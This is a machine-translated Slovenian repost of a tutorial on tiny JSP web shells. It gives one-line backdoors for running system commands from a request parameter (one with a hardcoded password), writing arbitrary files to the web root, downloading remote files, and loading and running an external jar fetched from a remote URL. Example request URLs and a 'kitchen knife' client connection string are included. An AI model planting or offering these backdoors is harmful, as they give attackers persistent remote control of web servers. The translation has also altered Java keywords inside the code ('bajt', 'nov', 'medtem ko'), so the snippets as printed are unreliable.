|
|
Objavljeno na 2. 01. 2015 18:46:57
|
|
|
|

Preneseno iz: http://p2j.cn/?p=1627 1. Izvajanje sistemskih ukazov: Izvajanje sistemskih ukazov brez odmeva: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Prošnja: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Po izvedbi ne bo odmev, kar je zelo priročno za odbojne granate. Obstajajo odmevi pri preverjanju gesla: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; bajt[] b = nov bajt[2048]; out.print("<pre>); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>); }%> Prošnja: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Zaključite niz in ga zapišite v določeno datoteko: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Prošnja: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Pišite v spletni imenik: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Prošnja: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Prošnja: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Pišite v spletni imenik: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Prošnja: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Prenesi oddaljeno datoteko (če ne uporabljaš apache io utils, ne moreš pretvoriti vhodnega toka v bajt, zato je zelo dolgo...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bajt[] b = nov bajt[1024]; java.io.ByteArrayOutputStream baos = nova java.io.ByteArrayOutputStream(); int a = -1; medtem ko ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Prošnja: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Prenesite na spletno pot: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); bajt[] b = nov bajt[1024]; java.io.ByteArrayOutputStream baos = nova java.io.ByteArrayOutputStream(); int a = -1; medtem ko ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Prošnja: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Četrtič: Refleksija pokliče zunanji kozarec, izpopolni zadnja vrata Če vam zgornja funkcija 'backdoor' ni všeč, je prešibka in zastarela, lahko poskusite tole: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Prošnja: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Povezava kuhinjskega noža: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, geslo 023.
Rešitev: Uporabite reflection za nalaganje zunanjega jar v trenutno aplikacijo, reflection pa izvede rezultat izhodne obdelave. request.getParameterMap() vsebuje vse zahtevane parametre. Ker je zunanji jar paket naložen, mora strežnik imeti dostop do tega jar naslova. |
Prejšnji:Kriza za besedilno datoteko TXTNaslednji:Java MD5 šifriranje, Base64 šifriranje in dešifriranje Java izvaja izvorno kodo sistemskih ukazov
|